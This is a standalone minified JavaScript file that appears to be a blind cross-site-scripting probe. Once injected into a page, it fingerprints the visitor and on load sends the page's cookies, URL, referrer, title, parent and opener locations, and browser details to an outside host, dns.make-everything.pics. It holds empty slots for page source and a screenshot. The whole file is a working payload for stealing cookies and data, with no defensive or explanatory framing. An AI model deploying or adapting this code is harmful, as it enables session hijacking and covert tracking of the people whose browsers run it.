(function () { 'use strict'; var CODE_ID = '9KqSVU'; var ENDPOINT = 'https://dns.make-everything.pics/data/' + CODE_ID; var FINGERPRINT_KEY = 'printAAAYUUYUYU'; var CANVAS_KEY = 'printhashUUUAAAOOO'; var STORAGE_NAMESPACE = '__probe_' + String(CODE_ID).replace(/[^a-zA-Z0-9_-]/g, '_') + '__'; var DEVICE_SEED_KEY = STORAGE_NAMESPACE + 'device_seed'; var HASH_PATTERN = /^[0-9a-f]{32}$/i; var memoryStorage = {}; var sent = false; function safe(getter, fallback) { try { var value = getter(); return value == null ? fallback : value; } catch (error) { return fallback; } } function getWindow() { return typeof window !== 'undefined' ? window : globalThis; } function getDocument() { return safe(function () { return getWindow().document || document; }, null); } function getNavigator() { return safe(function () { return getWindow().navigator || navigator; }, {}); } function getScreen() { return safe(function () { return getWindow().screen || screen; }, {}); } function getStorage() { var local = safe(function () { return getWindow().localStorage || localStorage; }, null); var probeKey = STORAGE_NAMESPACE + 'storage_probe'; if (local) { try { local.setItem(probeKey, '1'); local.removeItem(probeKey); return local; } catch (error) {} } return { getItem: function (key) { return Object.prototype.hasOwnProperty.call(memoryStorage, key) ? memoryStorage[key] : null; }, setItem: function (key, value) { memoryStorage[key] = String(value); }, removeItem: function (key) { delete memoryStorage[key]; } }; } function createCanvas() { var doc = getDocument(); if (!doc || typeof doc.createElement !== 'function') { return null; } return safe(function () { var canvas = doc.createElement('canvas'); return canvas && typeof canvas.getContext === 'function' ? canvas : null; }, null); } function toHex32(value) { return ('00000000' + ((value >>> 0).toString(16))).slice(-8); } function mul32(a, b) { var ah = (a >>> 16) & 65535; var al = a & 65535; var bh = (b >>> 16) & 65535; var bl = b & 65535; return ((al * bl) + ((((ah * bl) + (al * bh)) & 65535) << 16)) | 0; } function mix32(hash, value, seed) { hash ^= value; hash = mul32(hash, seed); hash ^= hash >>> 13; return hash | 0; } function hash128(input) { input = String(input == null ? '' : input); var h1 = 2166136261 ^ input.length; var h2 = 1597334677 ^ input.length; var h3 = 3812015801 ^ input.length; var h4 = 958282187 ^ input.length; var i; var code; for (i = 0; i < input.length; i++) { code = input.charCodeAt(i); h1 = mix32(h1, code, 16777619); h2 = mix32(h2, code, 2246822507); h3 = mix32(h3, code, 3266489909); h4 = mix32(h4, code, 668265263); } h1 = mix32(h1, h4, 2246822507); h2 = mix32(h2, h1, 3266489909); h3 = mix32(h3, h2, 668265263); h4 = mix32(h4, h3, 16777619); return toHex32(h1) + toHex32(h2) + toHex32(h3) + toHex32(h4); } function isValidHash(value) { return typeof value === 'string' && HASH_PATTERN.test(value); } function persistValue(store, key, value) { store.setItem(key, value); return value; } function readPersistedValue(store, key) { var cached = store.getItem(key); if (isValidHash(cached)) { return cached; } return ''; } function readOrCreate(store, key, factory) { var cached = readPersistedValue(store, key); if (cached) { return cached; } var value = factory(); if (!isValidHash(value)) { value = hash128(String(value || key)); } return persistValue(store, key, value); } function buildDeviceSeedSource() { var nav = getNavigator(); var scr = getScreen(); var win = getWindow(); var cryptoObject = safe(function () { return win.crypto || crypto; }, null); var randomValues = []; if (cryptoObject && typeof cryptoObject.getRandomValues === 'function') { try { randomValues = Array.prototype.slice.call(cryptoObject.getRandomValues(new Uint32Array(4))); } catch (error) {} } return [ safe(function () { return Date.now(); }, ''), safe(function () { return Math.random(); }, ''), safe(function () { return nav.userAgent; }, ''), safe(function () { return nav.language; }, ''), safe(function () { return (nav.languages || []).join(','); }, ''), safe(function () { return nav.platform; }, ''), safe(function () { return nav.hardwareConcurrency; }, ''), safe(function () { return nav.deviceMemory; }, ''), safe(function () { return nav.cookieEnabled; }, ''), safe(function () { return nav.vendor; }, ''), safe(function () { return nav.doNotTrack || nav.msDoNotTrack || win.doNotTrack; }, ''), safe(function () { return nav.maxTouchPoints || nav.msMaxTouchPoints || 0; }, ''), safe(function () { return scr.colorDepth; }, ''), safe(function () { return win.devicePixelRatio; }, ''), safe(function () { return new Date().getTimezoneOffset(); }, ''), randomValues.join(',') ].join('|'); } function getOrCreateDeviceSeed(store) { var cached = readPersistedValue(store, DEVICE_SEED_KEY); if (cached) { return cached; } return persistValue(store, DEVICE_SEED_KEY, hash128(buildDeviceSeedSource())); } function collectPayload(store) { var win = getWindow(); var doc = getDocument(); var nav = getNavigator(); var scr = getScreen(); var seed = getOrCreateDeviceSeed(store); return { printAAAYUUYUYU: readOrCreate(store, FINGERPRINT_KEY, function () { return hash128('fp|' + seed); }), printhashUUUAAAOOO: readOrCreate(store, CANVAS_KEY, function () { return hash128('cv|' + seed); }), id: CODE_ID, location: safe(function () { var loc = win.location || location; return typeof loc.toString === 'function' ? loc.toString() : loc.href; }, ''), cookie: safe(function () { return doc ? doc.cookie : ''; }, ''), referrer: safe(function () { return doc ? doc.referrer : ''; }, ''), useragent: safe(function () { return nav.userAgent; }, ''), title: safe(function () { return doc ? doc.title : ''; }, ''), toplocation: safe(function () { return top && top.location ? top.location.href : ''; }, ''), origin: safe(function () { var loc = win.location || location; return loc.origin || ''; }, ''), charset: safe(function () { return doc ? (doc.characterSet || doc.charset || '') : ''; }, ''), platform: safe(function () { return nav.platform; }, ''), opener: safe(function () { if (!win.opener) { return ''; } return win.opener.location && win.opener.location.href ? win.opener.location.href : String(win.opener); }, ''), screen: safe(function () { return scr.width && scr.height ? scr.width + 'x' + scr.height : ''; }, ''), htmlyuanma: '', screenshotpic: '' }; } function encodePayload(payload) { var parts = []; var key; for (key in payload) { if (Object.prototype.hasOwnProperty.call(payload, key)) { parts.push(key + '=' + encodeURIComponent(payload[key])); } } return parts.join('&'); } function sendPayload(body) { var win = getWindow(); var nav = getNavigator(); if (win && typeof win.fetch === 'function') { try { win.fetch(ENDPOINT, { method: 'POST', mode: 'no-cors', credentials: 'omit', keepalive: true, headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: body }); return; } catch (error) {} } if (typeof XMLHttpRequest !== 'undefined') { try { var xhr = new XMLHttpRequest(); xhr.open('POST', ENDPOINT, true); xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); xhr.send(body); return; } catch (error) {} } if (nav && typeof nav.sendBeacon === 'function') { try { nav.sendBeacon(ENDPOINT, body); } catch (error) {} } } function run() { if (sent) { return; } sent = true; sendPayload(encodePayload(collectPayload(getStorage()))); } function onReady() { var doc = getDocument(); if (!doc || doc.readyState === 'complete' || doc.readyState === 'interactive') { setTimeout(run, 0); return; } if (doc.addEventListener) { doc.addEventListener('DOMContentLoaded', run, false); getWindow().addEventListener('load', run, false); return; } setTimeout(run, 0); } onReady(); }());